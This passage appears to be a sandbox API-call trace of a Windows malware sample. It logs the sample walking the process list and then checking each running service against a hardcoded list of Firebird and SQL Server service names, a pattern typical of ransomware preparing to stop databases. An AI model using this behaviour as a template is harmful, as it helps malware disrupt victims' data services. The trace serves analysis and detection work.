lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.386] lstrlenW (lpString="svchost.exe") returned 11 [0164.386] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.387] lstrlenW (lpString="svchost.exe") returned 11 [0164.387] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.387] lstrlenW (lpString="svchost.exe") returned 11 [0164.387] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.387] lstrlenW (lpString="svchost.exe") returned 11 [0164.387] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0164.388] lstrlenW (lpString="audiodg.exe") returned 11 [0164.388] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.388] lstrlenW (lpString="svchost.exe") returned 11 [0164.388] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0164.388] lstrlenW (lpString="explorer.exe") returned 12 [0164.388] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0164.389] lstrlenW (lpString="dwm.exe") returned 7 [0164.389] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.389] lstrlenW (lpString="svchost.exe") returned 11 [0164.389] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0164.389] lstrlenW (lpString="n.exe") returned 5 [0164.389] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0164.390] lstrlenW (lpString="spoolsv.exe") returned 11 [0164.390] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.390] lstrlenW (lpString="svchost.exe") returned 11 [0164.390] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0164.390] lstrlenW (lpString="taskhost.exe") returned 12 [0164.390] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0164.391] lstrlenW (lpString="reader_sl.exe") returned 13 [0164.391] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0164.391] lstrlenW (lpString="n.exe") returned 5 [0164.391] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0164.391] lstrlenW (lpString="n.exe") returned 5 [0164.391] Process32NextW (in: hSnapshot=0x1b4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0164.392] CloseHandle (hObject=0x1b4) returned 1 [0164.392] Sleep (dwMilliseconds=0x1f4) [0164.985] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42f9640 [0164.985] EnumServicesStatusExW (in: hSCManager=0x42f9640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0164.985] GetLastError () returned 0xea [0164.986] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x687228 [0164.986] EnumServicesStatusExW (in: hSCManager=0x42f9640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x687228, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x687228, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0164.987] CloseServiceHandle (hSCObject=0x42f9640) returned 1 [0164.987] lstrlenW (lpString="Appinfo") returned 7 [0164.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0164.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0164.987] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0164.987] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0164.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0164.987] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0164.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0164.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0164.987] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0164.987] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0164.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0164.987] lstrlenW (lpString="AudioSrv") returned 8 [0164.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0164.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0164.987] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0164.987] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0164.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0164.987] lstrlenW (lpString="BFE") returned 3 [0164.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0164.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0164.988] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0164.988] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0164.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0164.988] lstrlenW (lpString="CryptSvc") returned 8 [0164.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0164.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0164.988] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0164.988] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0164.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0164.988] lstrlenW (lpString="CscService") returned 10 [0164.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0164.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0164.988] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0164.988] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0164.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0164.988] lstrlenW (lpString="DcomLaunch") returned 10 [0164.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0164.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0164.988] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0164.988] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0164.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0164.988] lstrlenW (lpString="Dhcp") returned 4 [0164.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0164.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0164.988] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0164.988] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0164.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0164.989] lstrlenW (lpString="Dnscache") returned 8 [0164.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0164.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0164.989] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0164.989] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0164.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0164.989] lstrlenW (lpString="DPS") returned 3 [0164.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0164.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0164.989] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0164.989] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0164.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0164.989] lstrlenW (lpString="eventlog") returned 8 [0164.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0164.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0164.989] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0164.989] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0164.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0164.989] lstrlenW (lpString="EventSystem") returned 11 [0164.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0164.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0164.989] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0164.989] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0164.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0164.989] lstrlenW (lpString="gpsvc") returned 5 [0164.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0164.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0164.989] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0164.989] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0164.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0164.989] lstrlenW (lpString="iphlpsvc") returned 8 [0164.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0164.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0164.990] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0164.990] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0164.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0164.990] lstrlenW (lpString="LanmanServer") returned 12 [0164.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0164.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0164.990] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0164.990] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0164.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0164.990] lstrlenW (lpString="LanmanWorkstation") returned 17 [0164.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0164.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0164.990] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0164.990] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0164.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0164.990] lstrlenW (lpString="lmhosts") returned 7 [0164.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0164.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0164.990] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0164.990] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0164.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0164.990] lstrlenW (lpString="MMCSS") returned 5 [0164.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0164.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0164.990] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0164.990] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0164.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0164.990] lstrlenW (lpString="MpsSvc") returned 6 [0164.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0164.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0164.991] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0164.991] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0164.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0164.991] lstrlenW (lpString="Netman") returned 6 [0164.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0164.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0164.991] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0164.991] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0164.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0164.991] lstrlenW (lpString="netprofm") returned 8 [0164.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0164.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0164.991] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0164.991] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0164.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0164.991] lstrlenW (lpString="NlaSvc") returned 6 [0164.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0164.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0164.991] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0164.991] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0164.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0164.991] lstrlenW (lpString="nsi") returned 3 [0164.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0164.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0164.991] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0164.991] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0164.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0164.991] lstrlenW (lpString="PcaSvc") returned 6 [0164.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0164.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0164.992] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0164.992] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0164.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0164.992] lstrlenW (lpString="PlugPlay") returned 8 [0164.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0164.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0164.992] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0164.992] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0164.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0164.992] lstrlenW (lpString="Power") returned 5 [0164.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0164.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0164.992] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0164.992] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0164.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0164.992] lstrlenW (lpString="ProfSvc") returned 7 [0164.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0164.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0164.992] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0164.992] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0164.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0164.992] lstrlenW (lpString="RpcEptMapper") returned 12 [0164.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0164.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0164.992] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0164.992] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0164.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0164.992] lstrlenW (lpString="RpcSs") returned 5 [0164.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0164.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0164.993] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0164.993] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0164.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0164.993] lstrlenW (lpString="SamSs") returned 5 [0164.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0164.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0164.993] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0164.993] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0164.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0164.993] lstrlenW (lpString="Schedule") returned 8 [0164.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0164.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0164.993] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0164.993] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0164.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0164.993] lstrlenW (lpString="SENS") returned 4 [0164.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0164.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0164.993] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0164.993] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0164.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0164.993] lstrlenW (lpString="ShellHWDetection") returned 16 [0164.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0164.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0164.993] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0164.993] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0164.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0164.993] lstrlenW (lpString="Spooler") returned 7 [0164.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0164.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0164.994] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0164.994] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0164.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0164.994] lstrlenW (lpString="SysMain") returned 7 [0164.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0164.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0164.994] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0164.994] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0164.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0164.994] lstrlenW (lpString="Themes") returned 6 [0164.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0164.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0164.994] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0164.994] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0164.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0164.994] lstrlenW (lpString="TrkWks") returned 6 [0164.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0164.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0164.994] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0164.994] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0164.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0164.994] lstrlenW (lpString="UxSms") returned 5 [0164.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0164.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0164.994] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0164.994] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0164.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0164.994] lstrlenW (lpString="WdiServiceHost") returned 14 [0164.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0164.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0164.995] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0164.995] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0164.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0164.995] lstrlenW (lpString="WdiSystemHost") returned 13 [0164.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0164.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0164.995] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0164.995] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0164.995] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0164.995] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0164.995] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0164.995] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned 